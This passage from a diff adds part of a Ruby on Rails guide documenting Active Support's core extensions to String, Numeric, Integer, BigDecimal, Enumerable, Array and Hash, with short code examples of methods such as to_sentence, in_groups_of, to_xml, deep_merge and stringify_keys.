+"2010-07-27 23:37:00".to_time     # => 2010-07-27 23:37:00 +0200
+"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
+```
+
+`to_time` receives an optional argument `:utc` or `:local`, to indicate which time zone you want the time in:
+
+```ruby
+"2010-07-27 23:42:00".to_time(:utc)   # => 2010-07-27 23:42:00 UTC
+"2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200
+```
+
+Default is `:utc`.
+
+Please refer to the documentation of `Date._parse` for further details.
+
+INFO: The three of them return `nil` for blank receivers.
+
+NOTE: Defined in `active_support/core_ext/string/conversions.rb`.
+
+Extensions to `Numeric`
+-----------------------
+
+### Bytes
+
+All numbers respond to these methods:
+
+```ruby
+bytes
+kilobytes
+megabytes
+gigabytes
+terabytes
+petabytes
+exabytes
+```
+
+They return the corresponding amount of bytes, using a conversion factor of 1024:
+
+```ruby
+2.kilobytes   # => 2048
+3.megabytes   # => 3145728
+3.5.gigabytes # => 3758096384
+-4.exabytes   # => -4611686018427387904
+```
+
+Singular forms are aliased so you are able to say:
+
+```ruby
+1.megabyte # => 1048576
+```
+
+NOTE: Defined in `active_support/core_ext/numeric/bytes.rb`.
+
+### Time
+
+Enables the use of time calculations and declarations, like `45.minutes + 2.hours + 4.years`.
+
+These methods use Time#advance for precise date calculations when using from_now, ago, etc.
+as well as adding or subtracting their results from a Time object. For example:
+
+```ruby
+# equivalent to Time.current.advance(months: 1)
+1.month.from_now
+
+# equivalent to Time.current.advance(years: 2)
+2.years.from_now
+
+# equivalent to Time.current.advance(months: 4, years: 5)
+(4.months + 5.years).from_now
+```
+
+NOTE: Defined in `active_support/core_ext/numeric/time.rb`.
+
+### Formatting
+
+Enables the formatting of numbers in a variety of ways.
+
+Produce a string representation of a number as a telephone number:
+
+```ruby
+5551234.to_s(:phone)
+# => 555-1234
+1235551234.to_s(:phone)
+# => 123-555-1234
+1235551234.to_s(:phone, area_code: true)
+# => (123) 555-1234
+1235551234.to_s(:phone, delimiter: " ")
+# => 123 555 1234
+1235551234.to_s(:phone, area_code: true, extension: 555)
+# => (123) 555-1234 x 555
+1235551234.to_s(:phone, country_code: 1)
+# => +1-123-555-1234
+```
+
+Produce a string representation of a number as currency:
+
+```ruby
+1234567890.50.to_s(:currency)                 # => $1,234,567,890.50
+1234567890.506.to_s(:currency)                # => $1,234,567,890.51
+1234567890.506.to_s(:currency, precision: 3)  # => $1,234,567,890.506
+```
+
+Produce a string representation of a number as a percentage:
+
+```ruby
+100.to_s(:percentage)
+# => 100.000%
+100.to_s(:percentage, precision: 0)
+# => 100%
+1000.to_s(:percentage, delimiter: '.', separator: ',')
+# => 1.000,000%
+302.24398923423.to_s(:percentage, precision: 5)
+# => 302.24399%
+```
+
+Produce a string representation of a number in delimited form:
+
+```ruby
+12345678.to_s(:delimited)                     # => 12,345,678
+12345678.05.to_s(:delimited)                  # => 12,345,678.05
+12345678.to_s(:delimited, delimiter: ".")     # => 12.345.678
+12345678.to_s(:delimited, delimiter: ",")     # => 12,345,678
+12345678.05.to_s(:delimited, separator: " ")  # => 12,345,678 05
+```
+
+Produce a string representation of a number rounded to a precision:
+
+```ruby
+111.2345.to_s(:rounded)                     # => 111.235
+111.2345.to_s(:rounded, precision: 2)       # => 111.23
+13.to_s(:rounded, precision: 5)             # => 13.00000
+389.32314.to_s(:rounded, precision: 0)      # => 389
+111.2345.to_s(:rounded, significant: true)  # => 111
+```
+
+Produce a string representation of a number as a human-readable number of bytes:
+
+```ruby
+123.to_s(:human_size)                  # => 123 Bytes
+1234.to_s(:human_size)                 # => 1.21 KB
+12345.to_s(:human_size)                # => 12.1 KB
+1234567.to_s(:human_size)              # => 1.18 MB
+1234567890.to_s(:human_size)           # => 1.15 GB
+1234567890123.to_s(:human_size)        # => 1.12 TB
+1234567890123456.to_s(:human_size)     # => 1.1 PB
+1234567890123456789.to_s(:human_size)  # => 1.07 EB
+```
+
+Produce a string representation of a number in human-readable words:
+
+```ruby
+123.to_s(:human)               # => "123"
+1234.to_s(:human)              # => "1.23 Thousand"
+12345.to_s(:human)             # => "12.3 Thousand"
+1234567.to_s(:human)           # => "1.23 Million"
+1234567890.to_s(:human)        # => "1.23 Billion"
+1234567890123.to_s(:human)     # => "1.23 Trillion"
+1234567890123456.to_s(:human)  # => "1.23 Quadrillion"
+```
+
+NOTE: Defined in `active_support/core_ext/numeric/conversions.rb`.
+
+Extensions to `Integer`
+-----------------------
+
+### `multiple_of?`
+
+The method `multiple_of?` tests whether an integer is multiple of the argument:
+
+```ruby
+2.multiple_of?(1) # => true
+1.multiple_of?(2) # => false
+```
+
+NOTE: Defined in `active_support/core_ext/integer/multiple.rb`.
+
+### `ordinal`
+
+The method `ordinal` returns the ordinal suffix string corresponding to the receiver integer:
+
+```ruby
+1.ordinal    # => "st"
+2.ordinal    # => "nd"
+53.ordinal   # => "rd"
+2009.ordinal # => "th"
+-21.ordinal  # => "st"
+-134.ordinal # => "th"
+```
+
+NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
+
+### `ordinalize`
+
+The method `ordinalize` returns the ordinal string corresponding to the receiver integer. In comparison, note that the `ordinal` method returns **only** the suffix string.
+
+```ruby
+1.ordinalize    # => "1st"
+2.ordinalize    # => "2nd"
+53.ordinalize   # => "53rd"
+2009.ordinalize # => "2009th"
+-21.ordinalize  # => "-21st"
+-134.ordinalize # => "-134th"
+```
+
+NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
+
+Extensions to `BigDecimal`
+--------------------------
+### `to_s`
+
+The method `to_s` provides a default specifier of "F". This means that a simple call to `to_s` will result in floating point representation instead of engineering notation:
+
+```ruby
+BigDecimal.new(5.00, 6).to_s  # => "5.0"
+```
+
+and that symbol specifiers are also supported:
+
+```ruby
+BigDecimal.new(5.00, 6).to_s(:db)  # => "5.0"
+```
+
+Engineering notation is still supported:
+
+```ruby
+BigDecimal.new(5.00, 6).to_s("e")  # => "0.5E1"
+```
+
+Extensions to `Enumerable`
+--------------------------
+
+### `sum`
+
+The method `sum` adds the elements of an enumerable:
+
+```ruby
+[1, 2, 3].sum # => 6
+(1..100).sum  # => 5050
+```
+
+Addition only assumes the elements respond to `+`:
+
+```ruby
+[[1, 2], [2, 3], [3, 4]].sum    # => [1, 2, 2, 3, 3, 4]
+%w(foo bar baz).sum             # => "foobarbaz"
+{a: 1, b: 2, c: 3}.sum          # => [:b, 2, :c, 3, :a, 1]
+```
+
+The sum of an empty collection is zero by default, but this is customizable:
+
+```ruby
+[].sum    # => 0
+[].sum(1) # => 1
+```
+
+If a block is given, `sum` becomes an iterator that yields the elements of the collection and sums the returned values:
+
+```ruby
+(1..5).sum {|n| n * 2 } # => 30
+[2, 4, 6, 8, 10].sum    # => 30
+```
+
+The sum of an empty receiver can be customized in this form as well:
+
+```ruby
+[].sum(1) {|n| n**3} # => 1
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `index_by`
+
+The method `index_by` generates a hash with the elements of an enumerable indexed by some key.
+
+It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:
+
+```ruby
+invoices.index_by(&:number)
+# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
+```
+
+WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `many?`
+
+The method `many?` is shorthand for `collection.size > 1`:
+
+```erb
+<% if pages.many? %>
+  <%= pagination_links %>
+<% end %>
+```
+
+If an optional block is given, `many?` only takes into account those elements that return true:
+
+```ruby
+@see_more = videos.many? {|video| video.category == params[:category]}
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `exclude?`
+
+The predicate `exclude?` tests whether a given object does **not** belong to the collection. It is the negation of the built-in `include?`:
+
+```ruby
+to_visit << node if visited.exclude?(node)
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `without`
+
+The method `without` returns a copy of an enumerable with the specified elements
+removed:
+
+```ruby
+["David", "Rafael", "Aaron", "Todd"].without("Aaron", "Todd") # => ["David", "Rafael"]
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `pluck`
+
+The method `pluck` returns an array based on the given key:
+
+```ruby
+[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"]
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+Extensions to `Array`
+---------------------
+
+### Accessing
+
+Active Support augments the API of arrays to ease certain ways of accessing them. For example, `to` returns the subarray of elements up to the one at the passed index:
+
+```ruby
+%w(a b c d).to(2) # => ["a", "b", "c"]
+[].to(7)          # => []
+```
+
+Similarly, `from` returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.
+
+```ruby
+%w(a b c d).from(2)  # => ["c", "d"]
+%w(a b c d).from(10) # => []
+[].from(0)           # => []
+```
+
+The methods `second`, `third`, `fourth`, and `fifth` return the corresponding element, as do `second_to_last` and `third_to_last` (`first` and `last` are built-in). Thanks to social wisdom and positive constructiveness all around, `forty_two` is also available.
+
+```ruby
+%w(a b c d).third # => "c"
+%w(a b c d).fifth # => nil
+```
+
+NOTE: Defined in `active_support/core_ext/array/access.rb`.
+
+### Adding Elements
+
+#### `prepend`
+
+This method is an alias of `Array#unshift`.
+
+```ruby
+%w(a b c d).prepend('e')  # => ["e", "a", "b", "c", "d"]
+[].prepend(10)            # => [10]
+```
+
+NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`.
+
+#### `append`
+
+This method is an alias of `Array#<<`.
+
+```ruby
+%w(a b c d).append('e')  # => ["a", "b", "c", "d", "e"]
+[].append([1,2])         # => [[1, 2]]
+```
+
+NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`.
+
+### Options Extraction
+
+When the last argument in a method call is a hash, except perhaps for a `&block` argument, Ruby allows you to omit the brackets:
+
+```ruby
+User.exists?(email: params[:email])
+```
+
+That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.
+
+If a method expects a variable number of arguments and uses `*` in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.
+
+In those cases, you may give an options hash a distinguished treatment with `extract_options!`. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.
+
+Let's see for example the definition of the `caches_action` controller macro:
+
+```ruby
+def caches_action(*actions)
+  return unless cache_configured?
+  options = actions.extract_options!
+  ...
+end
+```
+
+This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to `extract_options!` you obtain the options hash and remove it from `actions` in a simple and explicit way.
+
+NOTE: Defined in `active_support/core_ext/array/extract_options.rb`.
+
+### Conversions
+
+#### `to_sentence`
+
+The method `to_sentence` turns an array into a string containing a sentence that enumerates its items:
+
+```ruby
+%w().to_sentence                # => ""
+%w(Earth).to_sentence           # => "Earth"
+%w(Earth Wind).to_sentence      # => "Earth and Wind"
+%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
+```
+
+This method accepts three options:
+
+* `:two_words_connector`: What is used for arrays of length 2. Default is " and ".
+* `:words_connector`: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
+* `:last_word_connector`: What is used to join the last items of an array with 3 or more elements. Default is ", and ".
+
+The defaults for these options can be localized, their keys are:
+
+| Option                 | I18n key                            |
+| ---------------------- | ----------------------------------- |
+| `:two_words_connector` | `support.array.two_words_connector` |
+| `:words_connector`     | `support.array.words_connector`     |
+| `:last_word_connector` | `support.array.last_word_connector` |
+
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
+
+#### `to_formatted_s`
+
+The method `to_formatted_s` acts like `to_s` by default.
+
+If the array contains items that respond to `id`, however, the symbol
+`:db` may be passed as argument. That's typically used with
+collections of Active Record objects. Returned strings are:
+
+```ruby
+[].to_formatted_s(:db)            # => "null"
+[user].to_formatted_s(:db)        # => "8456"
+invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
+```
+
+Integers in the example above are supposed to come from the respective calls to `id`.
+
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
+
+#### `to_xml`
+
+The method `to_xml` returns a string containing an XML representation of its receiver:
+
+```ruby
+Contributor.limit(2).order(:rank).to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors type="array">
+#   <contributor>
+#     <id type="integer">4356</id>
+#     <name>Jeremy Kemper</name>
+#     <rank type="integer">1</rank>
+#     <url-id>jeremy-kemper</url-id>
+#   </contributor>
+#   <contributor>
+#     <id type="integer">4404</id>
+#     <name>David Heinemeier Hansson</name>
+#     <rank type="integer">2</rank>
+#     <url-id>david-heinemeier-hansson</url-id>
+#   </contributor>
+# </contributors>
+```
+
+To do so it sends `to_xml` to every item in turn, and collects the results under a root node. All items must respond to `to_xml`, an exception is raised otherwise.
+
+By default, the name of the root element is the underscored and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with `is_a?`) and they are not hashes. In the example above that's "contributors".
+
+If there's any element that does not belong to the type of the first one the root node becomes "objects":
+
+```ruby
+[Contributor.first, Commit.first].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+#   <object>
+#     <id type="integer">4583</id>
+#     <name>Aaron Batalion</name>
+#     <rank type="integer">53</rank>
+#     <url-id>aaron-batalion</url-id>
+#   </object>
+#   <object>
+#     <author>Joshua Peek</author>
+#     <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
+#     <branch>origin/master</branch>
+#     <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
+#     <committer>Joshua Peek</committer>
+#     <git-show nil="true"></git-show>
+#     <id type="integer">190316</id>
+#     <imported-from-svn type="boolean">false</imported-from-svn>
+#     <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
+#     <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
+#   </object>
+# </objects>
+```
+
+If the receiver is an array of hashes the root element is by default also "objects":
+
+```ruby
+[{a: 1, b: 2}, {c: 3}].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+#   <object>
+#     <b type="integer">2</b>
+#     <a type="integer">1</a>
+#   </object>
+#   <object>
+#     <c type="integer">3</c>
+#   </object>
+# </objects>
+```
+
+WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the `:root` option to ensure a consistent root element.
+
+The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option `:children` allows you to set these node names.
+
+The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder via the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder:
+
+```ruby
+Contributor.limit(2).order(:rank).to_xml(skip_types: true)
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors>
+#   <contributor>
+#     <id>4356</id>
+#     <name>Jeremy Kemper</name>
+#     <rank>1</rank>
+#     <url-id>jeremy-kemper</url-id>
+#   </contributor>
+#   <contributor>
+#     <id>4404</id>
+#     <name>David Heinemeier Hansson</name>
+#     <rank>2</rank>
+#     <url-id>david-heinemeier-hansson</url-id>
+#   </contributor>
+# </contributors>
+```
+
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
+
+### Wrapping
+
+The method `Array.wrap` wraps its argument in an array unless it is already an array (or array-like).
+
+Specifically:
+
+* If the argument is `nil` an empty array is returned.
+* Otherwise, if the argument responds to `to_ary` it is invoked, and if the value of `to_ary` is not `nil`, it is returned.
+* Otherwise, an array with the argument as its single element is returned.
+
+```ruby
+Array.wrap(nil)       # => []
+Array.wrap([1, 2, 3]) # => [1, 2, 3]
+Array.wrap(0)         # => [0]
+```
+
+This method is similar in purpose to `Kernel#Array`, but there are some differences:
+
+* If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns an array with the argument as its single element right away.
+* If the returned value from `to_ary` is neither `nil` nor an `Array` object, `Kernel#Array` raises an exception, while `Array.wrap` does not, it just returns the value.
+* It does not call `to_a` on the argument, if the argument does not respond to +to_ary+ it returns an array with the argument as its single element.
+
+The last point is particularly worth comparing for some enumerables:
+
+```ruby
+Array.wrap(foo: :bar) # => [{:foo=>:bar}]
+Array(foo: :bar)      # => [[:foo, :bar]]
+```
+
+There's also a related idiom that uses the splat operator:
+
+```ruby
+[*object]
+```
+
+which in Ruby 1.8 returns `[nil]` for `nil`, and calls to `Array(object)` otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)
+
+Thus, in this case the behavior is different for `nil`, and the differences with `Kernel#Array` explained above apply to the rest of `object`s.
+
+NOTE: Defined in `active_support/core_ext/array/wrap.rb`.
+
+### Duplicating
+
+The method `Array#deep_dup` duplicates itself and all objects inside
+recursively with Active Support method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside.
+
+```ruby
+array = [1, [2, 3]]
+dup = array.deep_dup
+dup[1][2] = 4
+array[1][2] == nil   # => true
+```
+
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
+
+### Grouping
+
+#### `in_groups_of(number, fill_with = nil)`
+
+The method `in_groups_of` splits an array into consecutive groups of a certain size. It returns an array with the groups:
+
+```ruby
+[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
+```
+
+or yields them in turn if a block is passed:
+
+```html+erb
+<% sample.in_groups_of(3) do |a, b, c| %>
+  <tr>
+    <td><%= a %></td>
+    <td><%= b %></td>
+    <td><%= c %></td>
+  </tr>
+<% end %>
+```
+
+The first example shows `in_groups_of` fills the last group with as many `nil` elements as needed to have the requested size. You can change this padding value using the second optional argument:
+
+```ruby
+[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
+```
+
+And you can tell the method not to fill the last group passing `false`:
+
+```ruby
+[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
+```
+
+As a consequence `false` can't be a used as a padding value.
+
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
+
+#### `in_groups(number, fill_with = nil)`
+
+The method `in_groups` splits an array into a certain number of groups. The method returns an array with the groups:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3)
+# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
+```
+
+or yields them in turn if a block is passed:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
+["1", "2", "3"]
+["4", "5", nil]
+["6", "7", nil]
+```
+
+The examples above show that `in_groups` fills some groups with a trailing `nil` element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.
+
+You can change this padding value using the second optional argument:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3, "0")
+# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
+```
+
+And you can tell the method not to fill the smaller groups passing `false`:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3, false)
+# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
+```
+
+As a consequence `false` can't be a used as a padding value.
+
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
+
+#### `split(value = nil)`
+
+The method `split` divides an array by a separator and returns the resulting chunks.
+
+If a block is passed the separators are those elements of the array for which the block returns true:
+
+```ruby
+(-5..5).to_a.split { |i| i.multiple_of?(4) }
+# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
+```
+
+Otherwise, the value received as argument, which defaults to `nil`, is the separator:
+
+```ruby
+[0, 1, -5, 1, 1, "foo", "bar"].split(1)
+# => [[0], [-5], [], ["foo", "bar"]]
+```
+
+TIP: Observe in the previous example that consecutive separators result in empty arrays.
+
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
+
+Extensions to `Hash`
+--------------------
+
+### Conversions
+
+#### `to_xml`
+
+The method `to_xml` returns a string containing an XML representation of its receiver:
+
+```ruby
+{"foo" => 1, "bar" => 2}.to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <hash>
+#   <foo type="integer">1</foo>
+#   <bar type="integer">2</bar>
+# </hash>
+```
+
+To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair `key`, `value`:
+
+* If `value` is a hash there's a recursive call with `key` as `:root`.
+
+* If `value` is an array there's a recursive call with `key` as `:root`, and `key` singularized as `:children`.
+
+* If `value` is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the `options` hash as first argument with `key` as `:root`, and `key` singularized as second argument. Its return value becomes a new node.
+
+* If `value` responds to `to_xml` the method is invoked with `key` as `:root`.
+
+* Otherwise, a node with `key` as tag is created with a string representation of `value` as text node. If `value` is `nil` an attribute "nil" set to "true" is added. Unless the option `:skip_types` exists and is true, an attribute "type" is added as well according to the following mapping:
+
+```ruby
+XML_TYPE_NAMES = {
+  "Symbol"     => "symbol",
+  "Integer"    => "integer",
+  "BigDecimal" => "decimal",
+  "Float"      => "float",
+  "TrueClass"  => "boolean",
+  "FalseClass" => "boolean",
+  "Date"       => "date",
+  "DateTime"   => "datetime",
+  "Time"       => "datetime"
+}
+```
+
+By default the root node is "hash", but that's configurable via the `:root` option.
+
+The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder with the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder.
+
+NOTE: Defined in `active_support/core_ext/hash/conversions.rb`.
+
+### Merging
+
+Ruby has a built-in method `Hash#merge` that merges two hashes:
+
+```ruby
+{a: 1, b: 1}.merge(a: 0, c: 2)
+# => {:a=>0, :b=>1, :c=>2}
+```
+
+Active Support defines a few more ways of merging hashes that may be convenient.
+
+#### `reverse_merge` and `reverse_merge!`
+
+In case of collision the key in the hash of the argument wins in `merge`. You can support option hashes with default values in a compact way with this idiom:
+
+```ruby
+options = {length: 30, omission: "..."}.merge(options)
+```
+
+Active Support defines `reverse_merge` in case you prefer this alternative notation:
+
+```ruby
+options = options.reverse_merge(length: 30, omission: "...")
+```
+
+And a bang version `reverse_merge!` that performs the merge in place:
+
+```ruby
+options.reverse_merge!(length: 30, omission: "...")
+```
+
+WARNING. Take into account that `reverse_merge!` may change the hash in the caller, which may or may not be a good idea.
+
+NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`.
+
+#### `reverse_update`
+
+The method `reverse_update` is an alias for `reverse_merge!`, explained above.
+
+WARNING. Note that `reverse_update` has no bang.
+
+NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`.
+
+#### `deep_merge` and `deep_merge!`
+
+As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.
+
+Active Support defines `Hash#deep_merge`. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash:
+
+```ruby
+{a: {b: 1}}.deep_merge(a: {c: 2})
+# => {:a=>{:b=>1, :c=>2}}
+```
+
+The method `deep_merge!` performs a deep merge in place.
+
+NOTE: Defined in `active_support/core_ext/hash/deep_merge.rb`.
+
+### Deep duplicating
+
+The method `Hash#deep_dup` duplicates itself and all keys and values
+inside recursively with Active Support method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside.
+
+```ruby
+hash = { a: 1, b: { c: 2, d: [3, 4] } }
+
+dup = hash.deep_dup
+dup[:b][:e] = 5
+dup[:b][:d] << 5
+
+hash[:b][:e] == nil      # => true
+hash[:b][:d] == [3, 4]   # => true
+```
+
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
+
+### Working with Keys
+
+#### `except` and `except!`
+
+The method `except` returns a hash with the keys in the argument list removed, if present:
+
+```ruby
+{a: 1, b: 2}.except(:a) # => {:b=>2}
+```
+
+If the receiver responds to `convert_key`, the method is called on each of the arguments. This allows `except` to play nice with hashes with indifferent access for instance:
+
+```ruby
+{a: 1}.with_indifferent_access.except(:a)  # => {}
+{a: 1}.with_indifferent_access.except("a") # => {}
+```
+
+There's also the bang variant `except!` that removes keys in the very receiver.
+
+NOTE: Defined in `active_support/core_ext/hash/except.rb`.
+
+#### `transform_keys` and `transform_keys!`
+
+The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:
+
+```ruby
+{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase }
+# => {"" => nil, "1" => 1, "A" => :a}
+```
+
+In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
+
+```ruby
+{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase }
+# The result could either be
+# => {"A"=>2}
+# or
+# => {"A"=>1}
+```
+
+This method may be useful for example to build specialized conversions. For instance `stringify_keys` and `symbolize_keys` use `transform_keys` to perform their key conversions:
+
+```ruby
+def stringify_keys
+  transform_keys { |key| key.to_s }
+end
+...
+def symbolize_keys
+  transform_keys { |key| key.to_sym rescue key }
+end
+```
+
+There's also the bang variant `transform_keys!` that applies the block operations to keys in the very receiver.
+
+Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+```ruby
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase }
+# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `stringify_keys` and `stringify_keys!`
+
+The method `stringify_keys` returns a hash that has a stringified version of the keys in the receiver. It does so by sending `to_s` to them:
+
+```ruby
+{nil => nil, 1 => 1, a: :a}.stringify_keys
+# => {"" => nil, "1" => 1, "a" => :a}
+```
+
+In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
+
+```ruby
+{"a" => 1, a: 2}.stringify_keys
+# The result could either be
+# => {"a"=>2}
+# or
+# => {"a"=>1}
+```
+
+This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines:
+
+```ruby
+def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
+  options = options.stringify_keys
+  options["type"] = "checkbox"
+  ...
+end
+```
+
+The second line can safely access the "type" key, and let the user to pass either `:type` or "type".
+
+There's also the bang variant `stringify_keys!` that stringifies keys in the very receiver.
+
+Besides that, one can use `deep_stringify_keys` and `deep_stringify_keys!` to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+```ruby
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys
+# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `symbolize_keys` and `symbolize_keys!`
+
+The method `symbolize_keys` returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending `to_sym` to them:
+
+```ruby
+{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
+# => {nil=>nil, 1=>1, :a=>"a"}
+```
+
+WARNING. Note in the previous example only one key was symbolized.
+
+In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
+
+```ruby
+{"a" => 1, a: 2}.symbolize_keys
+# The result could either be
+# => {:a=>2}
+# or
+# => {:a=>1}
+```
+
+This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines
+
+```ruby
+def rewrite_path(options)
+  options = options.symbolize_keys
+  options.update(options[:params].symbolize_keys) if options[:params]
+  ...
+end
+```
+
+The second line can safely access the `:params` key, and let the user to pass either `:params` or "params".
+
+There's also the bang variant `symbolize_keys!` that symbolizes keys in the very receiver.
+
+Besides that, one can use `deep_symbolize_keys` and `deep_symbolize_keys!` to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+```ruby
+{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
+# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `to_options` and `to_options!`
+
+The methods `to_options` and `to_options!` are respectively aliases of `symbolize_keys` and `symbolize_keys!`.
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `assert_valid_keys`
+
+The method `assert_valid_keys` receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does `ArgumentError` is raised.
+
+```ruby
+{a: 1}.assert_valid_keys(:a)  # passes
+{a: 1}.assert_valid_keys("a") # ArgumentError
+```
+
+Active Record does not accept unknown options when building associations, for example. It implements that control via `assert_valid_keys`.
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+### Working with Values
+
+#### `transform_values` && `transform_values!`
+
+The method `transform_values` accepts a block and returns a hash that has applied the block operations to each of the values in the receiver.
+
+```ruby
+{ nil => nil, 1 => 1, :x => :a }.transform_values { |value| value.to_s.upcase }
+# => {nil=>"", 1=>"1", :x=>"A"}
+```
+There's also the bang variant `transform_values!` that applies the block operations to values in the very receiver.
+
+NOTE: Defined in `active_support/core_ext/hash/transform_values.rb`.
+
+### Slicing
+
+Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
+
+```ruby
+{a: 1, b: 2, c: 3}.slice(:a, :c)
+# => {:a=>1, :c=>3}
+
+{a: 1, b: 2, c: 3}.slice(:b, :X)
+# => {:b=>2} # non-existing keys are ignored
+```
+
+If the receiver responds to `convert_key` keys are normalized:
+
+```ruby
+{a: 1, b: 2}.with_indifferent_access.slice("a")
+# => {:a=>1}
+```
+
+NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys.
+
+There's also `slice!` which in addition to perform a slice in place returns what's removed:
+
+```ruby
